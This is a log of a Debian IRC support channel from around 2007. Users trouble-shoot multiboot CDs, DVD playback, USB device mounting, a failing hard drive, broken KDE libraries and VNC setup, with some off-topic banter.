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| 01:29.38 | rcbarnes | Wyzard: oh, by no means am I saying that there isn't tons of great stuff, but I have had some rough spots due to my arch, regardless |
| 01:29.55 | waltercool | Wyzard: oh, i have misspell ur last comment... forget it., but why a chroot? for editing the files? |
| 01:30.38 | Wyzard | waltercool: because you're going to have six different, completely separate Linux systems in a single filesystem, and you can't just put them all on top of each other |
| 01:31.09 | Wyzard | waltercool: so you have to put them in subdirectories on the CD |
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| 01:31.19 | Wyzard | waltercool: /debian, /redhat, /gentoo, etc. |
| 01:31.39 | jelly-home | illvarg: if you hadn't left you might have been told it'd been an error in debconf, then. |
| 01:31.43 | Wyzard | waltercool: and chroot into the subdirectory for the system you want to use |
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| 01:32.17 | waltercool | Wyzard: i know that, but i can use el torito for do the pointers, do a syslinux and compress in .iso |
| 01:32.24 | waltercool | but... is rarely... |
| 01:32.37 | Wyzard | waltercool: What do you mean by "pointers"? |
| 01:33.25 | jelly-home | waltercool: you're going to have a hard time remastering it all and making all the trees work |
| 01:34.14 | waltercool | Wyzard: a point of grub to some file |
| 01:34.52 | waltercool | jelly-home: But can i take a idea of typical "usb linux installer" for that |
| 01:35.24 | waltercool | jelly-home: using grub, of course |
| 01:35.33 | Wyzard | waltercool: El Torito is what's used to get the BIOS to load GRUB from the CD and run it... GRUB's loading of kernels is done by menu.lst, and has nothing to do with El Torito |
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| 01:36.15 | Wyzard | jelly-home: In principle he could have each of the six kernels set up with an init= option to run a shellscript, which chroots to the appropriate subdirectory and runs the real /sbin/init there |
| 01:36.24 | jelly-home | waltercool: you are not making a typical anything :-) |
| 01:36.42 | waltercool | :O |
| 01:37.24 | waltercool | Wyzard: are u saying of El Torito only do a load of grub? |
| 01:37.35 | Wyzard | waltercool: correct |
| 01:37.53 | Wyzard | waltercool: or isolinux, if you prefer |
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| 01:38.31 | waltercool | Wyzard: i have this idea: http://ubuntuforums.org/showpost.php?p=2893694&postcount=133 |
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| 01:39.08 | waltercool | Wyzard: Trying to modify that script |
| 01:39.10 | jelly-home | Wyzard: usually initrd takes care of early userspace, mounts the CD and deals with it. meaning he'd have to figure out each distro boot up and cd detection/mount process and work around that in each initrd |
| 01:39.22 | Wyzard | ah, good point |
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| 01:40.11 | jelly-home | I wouldn't do that for anything less than 8-16 hours at a high rate. :-) |
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| 01:40.29 | waltercool | why? |
| 01:40.46 | jelly-home | IT'S HARD! |
| 01:41.20 | waltercool | wow... that word remember my homework of data structures xO |
| 01:41.31 | Wyzard | waltercool: yeah, what you're trying to do is very complicated, since it involves customizing initrds as jelly-home pointed out |
| 01:41.36 | slid3r | so uh, I installed vlc (not that that matters) this is a fresh install of etch ... pop a dvd in to play it .. no love, what am I missing? |
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| 01:42.03 | waltercool | :O i forgot initrd :S |
| 01:42.13 | waltercool | mmm |
| 01:42.14 | Wyzard | slid3r: probably libdvdcss2, which is packaged unofficially at www.debian-multimedia.org because Debian can't legally distribute it |
| 01:42.29 | slid3r | I googled, and found that and installed it |
| 01:42.32 | waltercool | really seems difficult... |
| 01:42.35 | Wyzard | slid3r: Just burn six CDs... |
| 01:42.42 | slid3r | still totem nor vlc will open the dvd |
| 01:42.48 | Wyzard | slid3r: dunno then |
| 01:42.54 | abrotman | well .. sometimes libdvdread can read them |
| 01:43.20 | jelly-home | waltercool: Like I said, give me $640 and I'll spend a week to make it work. :-) |
| 01:43.23 | Wyzard | If they're not copy-protected, sure |
| 01:43.38 | stiv2k | CutMeOwnThroat: how do i mount this MP3 player? |
| 01:43.43 | stiv2k | CutMeOwnThroat: i dont know what device under /dev iti s |
| 01:43.43 | Wyzard | Copy-protected DVDs (i.e. nearly all of them) need libdvdcss2 |
| 01:43.46 | waltercool | jelly-home: hahahahahha xDDD, nah... i can learn a bit doing that :P |
| 01:43.55 | slid3r | installed it |
| 01:44.09 | stiv2k | [759733.918510] usb 1-2: new full speed USB device using uhci_hcd and address 5 |
| 01:44.09 | Wyzard | slid3r: oops, ignore what i said about burning six CDs :-) |
| 01:44.14 | Wyzard | waltercool: Just burn six CDs |
| 01:44.18 | waltercool | xDDDDDD |
| 01:44.27 | waltercool | Wyzard: is not the idea xD |
| 01:44.40 | waltercool | Wyzard: Optimization is my idea :-) |
| 01:44.47 | Wyzard | waltercool: Optimization? |
| 01:44.54 | Wyzard | of what? |
| 01:44.54 | Nihill | wow I suprised myself I got something working |
| 01:44.54 | waltercool | Wyzard: Of my money xD |
| 01:45.03 | geo-rge | it just goes to show ya, there are ideas, and then there are ideas... and then, there is THE idea... |
| 01:45.06 | Wyzard | waltercool: Blank CDs are extremely inexpensive |
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| 01:45.13 | Wyzard | waltercool: You could buy six of them with pocket change |
| 01:45.27 | jelly-home | waltercool: or you could have your own small distro + qemu, then boot qemu from an iso of your choosing at present it the real hard disk. |
| 01:45.39 | Nihill | it's cheaper to buy blank CD's than candy even |
| 01:45.41 | jelly-home | s/at/and/ |
| 01:45.52 | Wyzard | waltercool: I'd give you six for free if I kewn you IRL... I have two 50-disc spindles that I'll probably never get around to using |
| 01:45.56 | Wyzard | *knew |
| 01:45.57 | waltercool | jelly-home: can i mount a real hard disk with qemu? |
| 01:46.02 | geo-rge | that's true, candy is spensive |
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| 01:46.31 | jelly-home | waltercool: would I suggest it if you couldn't? |
| 01:46.41 | waltercool | Wyzard: hahahah, nah, if i can't do that... im forced to BUY CD xD |
| 01:46.50 | jelly-home | ... maybe I would. |
| 01:47.15 | waltercool | jelly-home: let me do an apt-get of qemu and try |
| 01:47.40 | waltercool | jelly-home: if work... i can try with a puppy or something simmilar |
| 01:48.00 | jelly-home | waltercool: make sure you don't boot the very same linux in the real system and in qemu. |
| 01:48.22 | waltercool | jelly-home: why?? a bug? |
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| 01:48.44 | waltercool | jelly-home: puppy is the most different |
| 01:48.45 | geo-rge | no, a crash waiting to happen |
| 01:48.49 | jelly-home | waltercool: I mean from the same disk. |
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| 01:49.06 | waltercool | mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm |
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| 01:49.11 | waltercool | so... cant be work xD |
| 01:49.23 | jelly-home | waltercool: what? |
| 01:49.27 | Wyzard | waltercool: http://www.newegg.com/Product/Product.aspx?Item=N82E16817131576 |
| 01:49.37 | waltercool | jelly-home: at least... using a usb-stick + dvd |
| 01:49.40 | geo-rge | so say you install a linux on hda1... if you boot the linux you installed there -twice-, that's not good. |
| 01:49.41 | Wyzard | That's $0.20 USD per disc |
| 01:50.02 | Wyzard | waltercool: Your six CDs would cost less than $1.50 |
| 01:50.15 | geo-rge | but say you install linux on hda1 and you install another on hda2, then you can boot each one |
| 01:50.39 | waltercool | Wyzard: xDDDD i have 50 dvds, but isn't the idea xD |
| 01:50.42 | jelly-home | waltercool: it could be done. I'm just saying when you're testing using a whole physical disk in qemu, DON'T boot from hda if your machine is already running from hda |
| 01:50.46 | stiv2k | how can i check if my machine's kernel has USB mass storage support in it |
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| 01:50.52 | Wyzard | waltercool: It's ridiculous to spend large amounts of time modifying initrds and mastering a custom CD to save $1 |
| 01:51.11 | Wyzard | stiv2k: Unless it's an ancient kernel, it does |
| 01:51.15 | Nihill | $1 thats like 60 pence |
| 01:51.41 | stiv2k | Wyzard: hmmm..... well i cant figure out how to mount this device |
| 01:51.42 | bush | several rupees even |
| 01:51.43 | geo-rge | depends on if uk currency is backed |
| 01:51.45 | stiv2k | it doesnt say which /dev/ it is |
| 01:51.52 | jelly-home | 50 pence |
| 01:51.57 | Wyzard | stiv2k: The module in question is "usb-storage", and on a modern system it should be loaded automatically when you plug one in |
| 01:52.02 | waltercool | Wyzard: xDDD look like: "learning to do some freakin' stupid, but with a bit of sense" xD |
| 01:52.04 | jelly-home | 49 pence |
| 01:52.08 | mazzanet | /dev/hdc: ST380011A: drive is sleeping |
| 01:52.09 | jelly-home | :-) |
| 01:52.11 | mazzanet | umm help? |
| 01:52.15 | mazzanet | why is my drive sleeping! |
| 01:52.52 | stiv2k | Wyzard: its not loaded on my server |
| 01:52.54 | waltercool | jelly-home: im updating a things... when this have done, i will download qemu and try with a usb-stick and 1 iso |
| 01:52.59 | geo-rge | if your drive is in front of a car, it's tired... if it's behind a car, it's exhausted... either way, it must need rest :) |
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| 01:53.21 | mazzanet | ha! |
| 01:53.24 | stray | stiv2k: maybe try dmesg|less and look for usb and /dev/sd_something. |
| 01:53.41 | jelly-home | !penixstrike geo-rge |
| 01:53.42 | dpkg | A towering Penix descends from the heavens, knocking geo-rge to the ground and leaving a large wet spot. |
| 01:54.09 | stiv2k | all it says is this |
| 01:54.10 | stiv2k | [760430.831038] usb 1-2: new full speed USB device using uhci_hcd and address 6 |
| 01:54.10 | stiv2k | [760431.001898] usb 1-2: configuration #1 chosen from 1 choice |
| 01:54.15 | stiv2k | doesnt say what device its on |
| 01:54.23 | stray | stiv2k: if you have just ide drives, it may likely be /dev/sda1 |
| 01:55.41 | stray | stiv2k: maybe try tail -f /var/log/messages and then plug in the usb drive. |
| 01:56.09 | stiv2k | stray: i dont know if the nomad / zen touch players can be read w/o gnomad2 |
| 01:56.16 | stiv2k | i.e. i dont think you can just mount them like that |
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| 01:58.41 | Wyzard | stiv2k: Is the usb-storage module loaded? |
| 01:58.48 | stiv2k | Wyzard: yes |
| 01:58.54 | waltercool | jelly-home: can i point a grub to another menu? |
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| 01:59.18 | Nyle | umm |
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| 01:59.38 | Nyle | waltercool, why? |
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| 02:00.30 | Wyzard | stiv2k: then you should've seen some additional messages from the kernel when plugging in the device, if it supports the mass-storage interface |
| 02:00.36 | waltercool | Nyle: well... im trying to do a dvd with multiple iso, and in the isos, is kubuntu, and kubuntu have it menu |
| 02:00.45 | mazzanet | Oct 8 12:00:10 Zeus kernel: Buffer I/O error on device hdc1, logical block 3 |
| 02:00.47 | mazzanet | ai! |
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| 02:01.20 | stiv2k | Wyzard: yeah i dont think it does , its a creative zen i think i'm forced to use the ugly gnomad2 |
| 02:01.26 | stiv2k | shite |
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| 02:02.47 | Wyzard | stiv2k: When I plug in a flash drive I get some messages like "kernel: usb-storage: device found at 2" and " kernel: SCSI device sdb: 251904 512-byte hdwr sectors (129 MB)" |
| 02:02.48 | Nyle | waltercool, you may have to extract the kernel and ramdisk mage from the kubuntu cd, and put it in the multiboot cd somewhere, tell grub to boot it, and pass whatever params to the kernel you need to pass. |
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| 02:03.18 | dfc | what is the correct way to have python2.5 be the default python version. i have looked at python-support pycentral pyversions etc |
| 02:03.32 | Nyle | waltercool, this is really a kubuntu boot related issue, and should be directed to #kubuntu |
| 02:03.35 | dfc | they all seem to display the default version but i have not found a way to set it. |
| 02:03.43 | mazzanet | Please supply the --yes-i-know-what-i-am-doing flag if you really want this |
| 02:03.45 | mazzanet | haha |
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| 02:04.05 | waltercool | Nyle: mmm... yeah... it is... well, im going to ask this in kubuntu :P |
| 02:04.07 | abrotman | dfc: you don't want to do that |
| 02:04.09 | dfc | there is /u/share/python/debian-defaults |
| 02:04.18 | dfc | abrotman: i dont? |
| 02:04.34 | abrotman | dfc: the system utilities expect a certain version .. changing that could lead to unexpected results |
| 02:05.16 | geo-rge | if debian uses python as a system language then you don't want to mess with that |
| 02:05.40 | geo-rge | instead you want to install your own python, build it, maintain it yourself |
| 02:05.45 | geo-rge | and add what you want |
| 02:06.04 | abrotman | he can install 2.5 .. he just has to explicitly name it in the shebang IIRC |
| 02:06.18 | mazzanet | erk |
| 02:06.22 | mazzanet | i reckon i have a dead drive |
| 02:06.33 | geo-rge | it wasn't just tired? |
| 02:06.48 | mazzanet | hdparm can't read the partition table |
| 02:06.51 | Wyzard | mazzanet: dead or dying |
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| 02:07.30 | mazzanet | and i've tried powering it down and resetting it |
| 02:07.36 | mazzanet | i/o errors galore |
| 02:07.50 | mazzanet | the good ole `head /dev/hdc` even fails |
| 02:08.08 | Wyzard | mazzanet: You could try doing a long self-test with smartctl... I've seen that fix a small number of localized errors |
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| 02:08.17 | Wyzard | mazzanet: though if it's a catastrophic failure, that probably won't help |
| 02:08.26 | mazzanet | the drive shouldn't be dead |
| 02:08.33 | mazzanet | it's about 6 months old |
| 02:08.40 | mazzanet | seagate 'cuda iv |
| 02:09.14 | mazzanet | all the other drive are cudas too |
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| 02:09.42 | tw-nym | Is there a way to test if the slapd in apt has kerberos support? When I do ldd slapd, it doesn't show libkrb5 or any kerberos related library as far as I can tell. |
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| 02:11.00 | Wyzard | mazzanet: IV? |
| 02:11.04 | Wyzard | mazzanet: The current ones are 10 or 11 |
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| 02:11.24 | mazzanet | smartctl can't read drive info |
| 02:11.46 | abrotman | does smart work with scsi ? |
| 02:11.56 | Wyzard | dunno, but it does work with SATA |
| 02:12.02 | abrotman | (i realize his drive may not be scsi .. but i was just wondering) |
| 02:12.10 | mazzanet | pata here |
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| 02:12.21 | mazzanet | a reboot may probably fix all this |
| 02:12.50 | mazzanet | but is there a way to completely power down a drive? |
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| 02:13.21 | Wyzard | mazzanet: On systems that support hotswapping, but most desktops can't do that for PATA |
| 02:13.27 | abrotman | mazzanet: shut the system down completely |
| 02:13.28 | Wyzard | mazzanet: You'd have to shut down entirely |
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| 02:23.00 | arooni_ | anyone using virtualbox... is there anyway to get a screen resolution of 1280x1024? i am currently at 1024x768 and windows display manager doesnt let me go higher... :( |
| 02:23.13 | cr3 | in a debconf configuration file, if I use db_set and then db_input for the same variable, why doesn't the db_input call seem to overwrite the db_set call? |
| 02:23.59 | Grandie | Is it possible to simply password protect a file in bash cmdline? |
| 02:24.05 | cr3 | must I set the priority to something special? |
| 02:24.12 | Grandie | or some encryption wise? |
| 02:24.14 | Grandie | also from the root |
| 02:25.10 | abrotman | !mentors |
| 02:25.11 | dpkg | [mentors] Please /msg dpkg mg and/or try http://lists.debian.org/debian-mentors/ and/or try #debian-mentors on irc.debian.org, or http://mentors.debian.net/ |
| 02:25.13 | abrotman | cr3: ^^ |
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| 02:25.31 | onyma | arooni_: what version of windows are you running in virtualbox? |
| 02:26.54 | arooni_ | xp |
| 02:27.06 | cr3 | abrotman: cheers |
| 02:27.06 | arooni_ | onyma, i got it fixed; needed to install guest addons |
| 02:27.21 | onyma | arooni_: i was going to ask if you'd done that next ... |
| 02:27.36 | arooni_ | onyma, this is pretty nifty it knows to capture mouse input when my mouse is over it |
| 02:28.49 | onyma | arooni_: did you install the open source edition or the proprietary version? |
| 02:29.00 | arooni_ | onyma, of virtualbox? |
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| 02:29.19 | onyma | arooni_: yes, virtualbox. |
| 02:29.58 | arooni_ | onyma, i think the closed source one... they had a .deb already packaged up |
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| 02:31.06 | fabiosarts | hi |
| 02:31.12 | clfs | How to do a reinstall? |
| 02:31.33 | fabiosarts | i have two video cards, how i can configure xorg for use both? :P |
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| 02:34.25 | clfs | I need to reinstall procps |
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| 02:37.58 | asg | clfs: apt-get install --reinstall <pkg> ; if the issue is due to you deleting configs you weren't supposed to, /msg dpkg confmiss |
| 02:38.43 | clfs | I was doing the lfs thing and I forgot to changeroot |
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| 02:40.36 | clfs | It probably wont matter much with package I guess. |
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| 02:51.47 | onyma | when I try to run kdesktop (and other kde programs), I get "symbol lookup error: /usr/lib/libkdeui.so.4: undefined symbol:" does anyone know the cause and how to fix it? |
| 02:52.36 | Sebboh | you need to install the library that provides that file. |
| 02:52.51 | Sebboh | try apt-cache search lib kdeui |
| 02:53.41 | jelly-home | onyma: pastebin the output of dpkg -l libc6 kdelibs4c2a|tail -2 |
| 02:53.52 | Sebboh | wait, kde .. Uh, that library should have been provided when you installed kde. There might be a more fundamental problem here that just replacing that package won't fix. like, maybe that package is already installed but some files got deleted? |
| 02:53.54 | jelly-home | err, just paste it, it's only two lines |
| 02:54.31 | Sebboh | jelly-home clearly understands this issue much better than I do, onyma. So, I leave you in his or her capable hands. |
| 02:54.52 | onyma | ii kdelibs4c2a 4:3.5.7.dfsg.1-7 |
| 02:54.52 | onyma | ii libc6 2.6.1-1+b1 |
| 02:55.10 | onyma | thanks Sebboh. |
| 02:56.00 | onyma | if it helps, i'm running testing. |
| 02:56.09 | jelly-home | onyma: is that the complete message? |
| 02:56.25 | jelly-home | (...undefined symbol:) |
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| 02:57.16 | jelly-home | well, at least the package versions are corresponding to testing |
| 02:57.18 | onyma | no. after undefined symbol is says "WARNING: If you want to edit this file directly, do not remove any line from this file, including this warning. Using `grub-set-default\' is strongly recommended." |
| 02:57.43 | onyma | there is nothing that looks like a "symbol" after "undefined symbol:" |
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| 02:58.16 | Dewi | it just occurred to me that it would be very cool if stderr text showed up in bold or red |
| 02:58.21 | Dewi | can anyone think of a way to make this possible? |
| 02:58.51 | Sebboh | :) symbol = code. Object code, I guess? Compiled code. A library, in this case. ...Symbol, hmm, probably also referers to the exact name of that bit of code. Right, Jelly? |
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| 02:59.04 | Dewi | (or something similar... to make stderr and stdout look different without having to pipe things to fail and tail on another terminal) |
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| 02:59.34 | onyma | ah, maybe I'd only get the symbols listed if I install a debug version of the package... |
| 02:59.37 | jelly-home | Sebboh: ya, each dynamic library exports symbols, pointing to library functions or variables |
| 02:59.41 | jelly-home | onyma: no |
| 02:59.45 | dudess | Hello, using iptables or something, what is the way to show a port as open if the port is really not open :) ? which tool do I need? |
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| 03:00.06 | jelly-home | onyma: no need to install debug packages just to get things working |
| 03:00.42 | onyma | there isn't a debug package of kdelibs4c2a anyway. |
| 03:00.43 | Sebboh | dewi, I guess that zsh can do that? http://gentoo-wiki.com/TIP_Advanced_zsh_Completion |
| 03:01.13 | Dewi | Sebboh: it's a start I suppose. I don't think I want to use zsh though |
| 03:01.24 | jelly-home | onyma: what about dpkg -l kdesktop|tail -1 ? |
| 03:01.58 | onyma | ii kdesktop 4:3.5.7-4 |
| 03:02.15 | onyma | all kde apps I've tried running have the same problem |
| 03:02.30 | Sebboh | dewi, me either. ..I like your idea a lot though. Please message me if you make progress!! :) |
| 03:02.36 | jelly-home | onyma: which architecture? |
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| 03:03.00 | onyma | i386 |
| 03:03.07 | onyma | centrino |
| 03:03.10 | jelly-home | onyma: oh btw, have you upgraded the system recently and not restarted kde since? |
| 03:03.44 | onyma | i ran "aptitude safe-upgrade" yesterday, shut down the computer for the night. and had the problem when I restarted it today. |
| 03:04.27 | Sebboh | sounds safe. :) |
| 03:04.35 | onyma | i tried running "aptitude update ; aptitude dist-upgrade" today in case there was some package problem from the update yesterday, but everything was up to date |
| 03:04.46 | maxamillion | safe-upgrade? ... i've never heard of that |
| 03:04.49 | jelly-home | onyma: hm. paste "md5sum /usr/lib/libkdeui.so.4" |
| 03:05.14 | onyma | aptitude upgrade is deprecated. now it's safe-upgrade. annoying because command line completion doesn't know it yet. |
| 03:05.23 | jelly-home | 32d13b4a29a2df70fed2073c684b1bd3 /usr/lib/libkdeui.so.4 <- same package version, i386 |
| 03:06.01 | onyma | different md5sum |
| 03:06.32 | onyma | i'll clear the deb cache and try reinstalling |
| 03:06.32 | jelly-home | might be hardware issues (ram or HDD) or just a transient glitch |
| 03:06.51 | onyma | this is a new computer ... please let it not have hardware issues ... |
| 03:07.10 | jelly-home | how new, less than a week? |
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| 03:07.24 | jelly-home | then it _probably_ is hw :-) |
| 03:07.28 | onyma | two or three weeks |
| 03:07.38 | onyma | that's annoying. |
| 03:08.18 | jelly-home | onyma: oh well, install memtest86+ and run it overnight, maybe it catches something |
| 03:08.55 | jelly-home | if it's a white box, maybe things just need to be reseated |
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| 03:08.58 | onyma | yeah. i was just thinking of doing that, but i couldn't remember the name memtest. too much stress from the thought of a possible problem |
| 03:09.24 | onyma | what counts as white box? |
| 03:09.50 | jelly-home | not-brand-name machine |
| 03:10.43 | jelly-home | built from parts, by yourself or the shop |
| 03:10.50 | onyma | isn't that almost everyone but dell and apple? |
| 03:11.02 | nvz | I the thought of possible problems causes you enough stress to start forgetting things... you'd die from one day in my life.. the problems are more probable than possible and I need not even think of them for them to occur |
| 03:12.31 | nvz | dell creates the illusion that they build pcs for you, but in reality they just customize barebones systems that are still highly proprietary |
| 03:12.48 | jelly-home | onyma: the branded ones are supposed to be stress tested. I'd expect a cheap HP desktop to work :-) |
| 03:13.38 | dudess | what is the way to use patch-o-matic on debian using debian way? |
| 03:14.28 | dudess | sorry, using netfilter patch-o-matic |
| 03:14.37 | nvz | dudess: patch/compile/package with kernel-package is the closest thing |
| 03:14.49 | nvz | there is no debian way of doing patch-o-matic |
| 03:15.09 | jelly-home | if there was, it would probably be handled via m-a |
| 03:15.15 | dudess | also what do I need patch-o-matic or patch-o-matic-ng? |
| 03:15.29 | nvz | or ABI.. or lots of other popular kernel patches |
| 03:15.30 | jelly-home | or a similar ui customized for ipta^Wnetfilter |
| 03:15.32 | onyma | reinstalling that package worked. |
| 03:15.56 | jelly-home | onyma: yeah, but that might have just hidden the symptom. |
| 03:16.53 | jelly-home | onyma: you could run debsums and see if there are other packaged files not matching their checksums |
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| 03:17.27 | jelly-home | hth. I'm gone to bed now. |
| 03:17.39 | nvz | ugh.. I'm starting to feel hungry again and don't feel like cooking.. bedtime sounds about right |
| 03:17.59 | onyma | jelly-home: thanks for the help. |
| 03:18.26 | nvz | not only is tomorrow a monday but supposedly a holiday at that |
| 03:18.35 | nvz | double whammy |
| 03:19.36 | nvz | dudess: so are you like a female dude? |
| 03:19.52 | onyma | about the stress and memory loss... i was recently tempted to try vista and am suffering post traumatic stress from the event. the effects of additional stress are magnified as i attempt to forget the vista experience... |
| 03:20.21 | nvz | dudess: or just like to wear womens clothes? :P |
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| 03:21.56 | nvz | onyma: its called the WOW |
| 03:22.10 | onyma | wow? |
| 03:22.29 | nvz | onyma: yeah Microsoft says "Experience the WOW of Windows Vista" |
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| 03:23.08 | onyma | haha. |
| 03:23.19 | onyma | i wish i hadn't |
| 03:23.25 | nvz | wow, I just spent $300 on a piece of shit OS, wow, none of my hardware is supported, wow none of my software is supported either and only half the stuff has upgrades and oh wow, it costs twice as much as when I bought the original version |
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| 03:24.29 | nvz | I've experienced the WOW myself.. though its far from what I'd call traumatic stress.. I just swore a few times, and told them to hire someone else to manage that crap |
| 03:24.32 | dudess | nvz: well, good bye :) |
| 03:24.42 | nvz | ugh |
| 03:25.01 | nvz | I was really curious about the dudess |
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| 03:25.24 | onyma | i probably just got too used to the easy life with debian and wasn't prepared for it. |
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| 03:25.52 | xevious | is there a way to monitor which users are logged in by sftp/scp? |
| 03:25.55 | nvz | I avoid non-debian software like the plague |
| 03:26.03 | nvz | xevious: auth.log? |
| 03:26.15 | geo-rge | onyma: if you get really curious, run xen and a slackware or gentoo domU |
| 03:26.42 | geo-rge | curious about what it was like in the medium old days :) |
| 03:27.15 | xevious | nvz: thanks :) |
| 03:27.35 | geo-rge | when men were men, used gnu emacs to edit all config files and gnus were scared... |
| 03:27.58 | onyma | gentoo was one of the distributions I tried. I misread the instructions and typed "unmount" ... and you can guess how well the rest of that worked out. |
| 03:28.23 | jelly-home | and small furry creatures from alpha centauri 3 were REAL small furry creatures from alpha centauri 3 |
| 03:28.24 | nvz | geo-rge: we call that the linux before time, or back before the day.. before the day of debconf |
| 03:28.52 | geo-rge | that was certainly before the day of the debconf... |
| 03:29.12 | nvz | we call it B.D. time |
| 03:29.22 | nvz | see we're on A.D. now |
| 03:29.41 | geo-rge | but if you get REALLY curious... find a copy of minix, try to build a linux-0.0.1 kernel... |
| 03:30.02 | geo-rge | probably you won't get a lot further than that :) |
| 03:30.17 | onyma | i'm not that curious at the moment. |
| 03:30.37 | geo-rge | now that there's xen those kinds of things are more convenient |
| 03:31.08 | onyma | i don't really understand the purpose of xen. |
| 03:31.47 | geo-rge | onyma: running more than one linux simultaneously |
| 03:31.47 | Wyzard | onyma: It's for running multiple OSes at the same time |
| 03:31.48 | onyma | what's the point of running a linux kernel on top of another linux install? |
| 03:32.04 | Wyzard | onyma: security, or to isolate apps from each other |
| 03:32.05 | onyma | (i thought xen didn't support a very wide range of OSes) |
| 03:32.10 | geo-rge | you're running many -full- copies of linux |
| 03:32.22 | geo-rge | with the right cpu it does |
| 03:32.35 | onyma | i don't have any of the right cpus =( |
| 03:32.57 | onyma | what i'd like to know is... how can i set up permissions on internet access so only certain programs can access the internet |
| 03:32.57 | geo-rge | but you could still run many linuxes |
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| 03:33.15 | nvz | geo-rge: genuine full copies? |
| 03:33.15 | geo-rge | say you get curious as to what ubuntu looks like |
| 03:33.41 | geo-rge | you could install ubuntu and start it from your running debian |
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| 03:34.20 | geo-rge | then you'd be running a ubuntu and a debian |
| 03:34.31 | geo-rge | say you wanted to run lenny or sid |
| 03:34.35 | geo-rge | say you wanted to run lenny AND sid |
| 03:34.43 | simonrvn | or boot a live cd... |
| 03:34.47 | geo-rge | those things would be possible as well |
| 03:35.31 | nvz | geo-rge: http://www.linuxgenuineadvantage.org/ an exciting and mandatory new way for you to place your computer under the remote control of an untrusted third party! |
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| 03:35.43 | FXRS | Hello |
| 03:35.46 | Dewi | Sebboh: easiest way I could find: swap stdout and stderr, and grep is quite handy at making things red... |
| 03:35.50 | Dewi | Sebboh: 3>&2 2>&1 1>&3 3>&- | grep --color '.' |
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| 03:36.15 | FXRS | I was wondering since Lenny comes with a vnc server how/what comand would I use from a term to start it? |
| 03:36.36 | nvz | FXRS: do you want to start a new display or attach to a running one? |
| 03:36.55 | FXRS | well I'm trying to start it to begin with |
| 03:36.57 | Dewi | Sebboh: of course you can't redirect stdout anymore, but if we were redirecting stdout to begin with we usually wouldn't have cared so much about highlighting stderr |
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| 03:37.16 | dfinn | does anyone have a working vmware mouse driver they could send me? |
| 03:37.20 | freezer | anyone with a 10mbit+ connection here who could do a speedtest for me? |
| 03:37.32 | Dewi | dfinn: what's wrong with vmware tools? |
| 03:37.39 | geo-rge | all those things are possible with any cpu... running unaltered windows, that woould require new amd or so |
| 03:37.57 | dfinn | Devin:there's a bug in the latest version. |
| 03:38.06 | nvz | FXRS: vncserver package is started with the vncserver command, it is itself an X11 server and doesn't require X at all.. but rfb package contains a program x0rfbserv that when run from inside X exports the current display much like running realvnc on windows. |
| 03:38.28 | dfinn | s/Devin/Devi |
| 03:38.45 | xevious | is it possible to see which directory a user logged in by sftp is in? also which file they're uploading or downloading? |
| 03:38.58 | FXRS | well I am trying to start the vnc server and it will not start. Command not found. |
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| 03:39.33 | Dewi | xevious: use pstree to find pids of the processes involved, then lsof to list open file handles? |
| 03:39.36 | nvz | FXRS: first of all Lenny nor any other debian dist comes with VNC, you have to tell it to install. |
| 03:39.45 | FXRS | hmm |
| 03:39.47 | nvz | FXRS: secondly you need to figure out if VNC is even what you want |
| 03:40.17 | nvz | FXRS: do you want to login to X, then access it remotely, or to you just want to ssh in to a shell, start VNC and then login to that? |
| 03:40.18 | xevious | Dewi: ooh. tricky |
| 03:40.21 | FXRS | I was under the impression that vnc or a remote desktop app was on the standard Deb install. I've seen it there. |
| 03:40.35 | Dewi | FXRS: check your ~/.vnc/xstartup |
| 03:40.35 | onyma | geo-rge: maybe i'll try xen in about a year. right now, no need. |
| 03:40.36 | FXRS | yes on the second part |
| 03:40.50 | Dewi | FXRS: vncserver will start whatever's in that file |
| 03:41.10 | nvz | FXRS: the standard debian install comes with very little at all.. just enough to boot the system and issue commands at a terminal |
| 03:41.13 | Dewi | FXRS: check if it's valid. (Unless you just mean you can't start vnserver because it's not installed) |
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| 03:41.31 | Dewi | FXRS: the minimal debian install doesn't even have 'less' |
| 03:41.38 | nvz | FXRS: thats not a yes or no question, its an either or |
| 03:42.20 | FXRS | Well not really sure what to say but the install of Debian I did came with just about anything you would want for a desktop machine to run. |
| 03:42.21 | geo-rge | onyma: OK... so you know... I was able to just install etch packages and reboot it... at that point, what was my plain ol' debian became that plus a xen "dom0" |
| 03:42.33 | xevious | Dewi: very good solution. thanks |
| 03:42.46 | nvz | FXRS: one case is using the package "rfb" and the program "x0rfbserv" which requires you to first login to X and start the program from a runnin X display, and the other is "vncserver" which doesn't require X at all and is run from the commandline and backgrounds itself creating a new display |
| 03:42.56 | geo-rge | I could use it exactly like before, only difference is I can start additional operating systems |
| 03:43.11 | Dewi | xevious: actually there are bound to be better ways, but those tools are easy to remember :) |
| 03:43.25 | onyma | geo-rge: how hard is it to start new operating systems? |
| 03:43.26 | FXRS | nvz that must be what is screwing me up then. |
| 03:43.30 | nvz | FXRS: you definatly told it to install all that stuff.. just like you will have to tell it to install this.. you just don't pay enough attention to realize you selected those 500+ packages |
| 03:44.00 | Hiryu | is anyone here running mailman on debian etch? |
| 03:44.03 | Dewi | FXRS: the debian installer does invite you to install hundreds of things when it asks if your machine is a 'desktop' or a 'standard system' etc |
| 03:44.07 | geo-rge | you have to install them first, and then you run one command and (given no problems) they start |
| 03:44.12 | Dewi | FXRS: however afaik none of those include independant VNC servers |
| 03:44.24 | Hiryu | I think etch's mailman package might be busted |
| 03:44.30 | Dewi | FXRS: although the desktop one does include the VNC that attaches to an X11 running on a monitor |
| 03:44.38 | onyma | geo-rge: install them first? |
| 03:44.41 | nvz | FXRS: the question remains.. are you trying to access a normal desktop (with the same screen visable remotely and locally) or are you trying to remote access only a machine? |
| 03:44.52 | Dewi | FXRS: however personally I use the one nvz is describing, where the machine's vga adapter and monitor is not involved at all |
| 03:44.59 | geo-rge | for debian and debian-based dists, there's a script that does installaton of the base |
| 03:45.14 | geo-rge | there's a config file that's used to start them |
| 03:45.27 | Dewi | FXRS: you really need to decide if you want to connect to a VGA-hardware-bound session, or create an entirely virtual one that you use only with VNC |
| 03:45.34 | nvz | Dewi: I'm not describing anything.. I'm still trying to gather what he is trying to do other than whining about packages he didn't install and not understanding what VNC is |
| 03:45.35 | FXRS | Yea I know what one. I'm installing vncserver now. |
| 03:45.44 | geo-rge | and the script writes that config |
| 03:45.55 | Dewi | FXRS: it would be good if you'd tell us which one :P It's the second, yeah? |
| 03:46.09 | geo-rge | other than the debian dists supported by that method, you'd have to do more work |
| 03:46.18 | FXRS | yea |
| 03:46.19 | geo-rge | you'd actually install it |
